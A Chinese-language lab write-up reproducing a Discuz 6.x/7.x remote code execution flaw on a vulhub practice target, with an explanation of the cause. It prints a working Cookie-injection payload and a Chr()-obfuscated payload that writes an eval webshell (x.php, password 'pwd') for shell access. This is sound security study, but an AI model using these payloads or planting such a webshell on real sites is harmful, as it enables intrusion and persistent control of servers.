0x00 實驗環境
攻擊機:win10
靶機:Ubuntu18 (docker搭建的vulhub靶場)
0x01 影響版本
Discuz 7.x 6.x版本
0x02 實驗目的
學習discuz的部分漏洞原理,並復現該漏洞,為以后的更多的挖洞姿勢做准備
0x03 實驗步驟
首先是對環境進行搭建,這個復現比較特殊,需要我們先安裝Discuz。
自行對以下內容進行填寫(前提是需要記得住),數據庫默認賬號為root,密碼為root
安裝成功,接下來我們進行下一步
進入到訪問頁面,查看到以下內容后,可開始進行漏洞復現:
安裝成功后,找到一個帖子,可直接進行命令執行的操作:
此為管理員發布的一條帖子,我們抓包后通過修改cookie的操作也直接進行命令執行:
將Cookie內的內容修改為:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
發現以上命令執行成功,進行寫入shell的操作:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
在上述代碼中,文件為:x.php 密碼為: pwd
然后我們訪問http://[IP]:[Port]/x.php,連上寫入的馬,使用蟻劍連接成功,這樣就getshell了:
0x04 實驗原理
(1)由於php版本里php.ini的設置里request_order
默認值為GP,導致$_REQUEST
中不再包含$_COOKIE
,我們通過在Cookie中傳入$GLOBALS
來覆蓋全局變量,造成代碼執行漏洞。
(2)如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當用戶能控制這些函數中的參數時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。